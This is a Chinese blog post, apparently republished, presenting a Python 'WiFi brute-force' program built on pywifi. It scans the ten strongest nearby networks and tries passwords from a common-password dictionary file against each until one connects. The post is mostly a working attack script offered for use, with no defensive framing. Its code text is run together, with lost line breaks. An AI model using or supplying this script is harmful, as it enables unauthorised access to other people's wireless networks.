当前位置: 首页> 推荐排行 >python WiFi暴力破解小程序

python WiFi暴力破解小程序

2022-01-22 10:44:04IT自动化测试与运维

2018-03-22 Python技术爱好者 python技术爱好者

思路:

 1、扫描前十个信号最好的wifi,得到ssid

2、然后用一个密码,遍历所有ssid,尝试能否连接上


3、密码正确连接上后,会报错退出程序,否则会一直运行下去


4、本脚本没有优化,运行时可能有bug


5、时间大概是2~3秒扫描一个ssid,根据计算机的不同可以修改,但是时间间隔太短会出错,比如正确的密码却因时间太短认为是错误的。


本博客是学习  分分钟搞定python破解无线wifi  这篇博客然后根据自己的需求扩充改写的,大家可以学习这位大神的博客。


运行时的现象:

图一:此处应该有一副图片
# coding:utf-8import time  #时间import pywifi  #破解wififrom pywifi import const  #引用一些定义from asyncio.tasks import sleepclass PoJie():    def __init__(self,path):        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡        self.iface.disconnect() #测试链接断开所有链接        time.sleep(1) #休眠1秒        self.list=self.initialssidnamelist()        # 测试网卡是否属于断开状态,        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]    def bies(self):        self.iface.scan()  # 扫描        bessis = self.iface.scan_results()
        list = []        for data in bessis:
            list.append((data.ssid, data.signal))        return len(list), sorted(list, key=lambda st: st[1], reverse=True)    def getsignal(self):        while True:
            n, data = self.bies()
            time.sleep(1)            if n is not 0:                return data[0:10]    def initialssidnamelist(self):
        ssidlist = self.getsignal()
        namelist = []        for item in ssidlist:
            namelist.append(item[0])        return namelist    def readPassWord(self,ssidname,myStr):

        bool1=self.test_connect(myStr,ssidname)        if len(myStr)<8:            return False        if bool1:            print("密码+++++++++++++正确:"+myStr+"   "+ssidname)            return True        else:            print("密码错误:"+myStr+"   "+ssidname)            return False    def test_connect(self,findStr,ssidname):#测试链接        profile = pywifi.Profile()  #创建wifi链接文件        profile.ssid =ssidname #wifi名称        # profile.ssid ="Netcore" #wifi名称        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元        profile.key = findStr #密码        self.iface.remove_all_network_profiles() #删除所有的wifi文件        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件        self.iface.connect(tmp_profile)#链接        time.sleep(2)        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上            isOK=True        else:
            isOK=False        self.iface.disconnect() #断开        time.sleep(1)        #检查断开状态        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]        return isOK    def run(self):        while True:
            myStr = self.file.readline()            for ssidname in self.list:
                ret=self.readPassWord(ssidname,myStr)                if ret:                    raise FileExistsError    def __del__(self):        self.file.close()
path=r"G:\DownLoad\6000常用密码字典.txt"start=PoJie(path)
start.run()